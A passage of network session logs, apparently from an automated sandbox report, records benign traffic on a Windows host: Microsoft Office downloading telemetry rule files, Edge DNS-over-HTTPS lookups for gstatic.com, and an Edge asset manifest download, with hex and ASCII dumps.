2024-11-26 09:09:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:26 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: ed9dfa2a-401e-0015-7891-3f0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090926Z-174f78459688l8rvhC1EWRtzr000000007rg000000008d0n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:26 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:26 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ff98645e-b01e-0001-1091-3f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090926Z-174f7845968qj8jrhC1EWRh41s0000000v40000000006qqt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:26 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49812	172.64.41.3	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:26 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 09:09:26 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 09:09:27 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 09:09:26 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e88bd5baced19c7-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 09:09:27 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 cf 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49813	162.159.61.3	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:26 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 09:09:26 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 09:09:27 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 09:09:27 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e88bd5cb95c8c51-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 09:09:27 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1f 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49811	13.107.246.63	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:26 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:27 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:27 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: f9d55574-701e-0068-5ebf-3f3656000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T090927Z-174f7845968xlwnmhC1EWR0sv80000000v1g000000005672 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 09:09:27 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-26 09:09:27 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-11-26 09:09:27 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-11-26 09:09:28 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-11-26 09:09:28 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-11-26 09:09:28 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-11-26 09:09:28 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-11-26 09:09:28 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-26 09:09:28 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-11-26 09:09:28 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49814	172.64.41.3	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:26 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 09:09:26 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 09:09:27 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 09:09:27 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e88bd5cdd6541ac-EWR alt-svc: h3=":443"; ma=86400
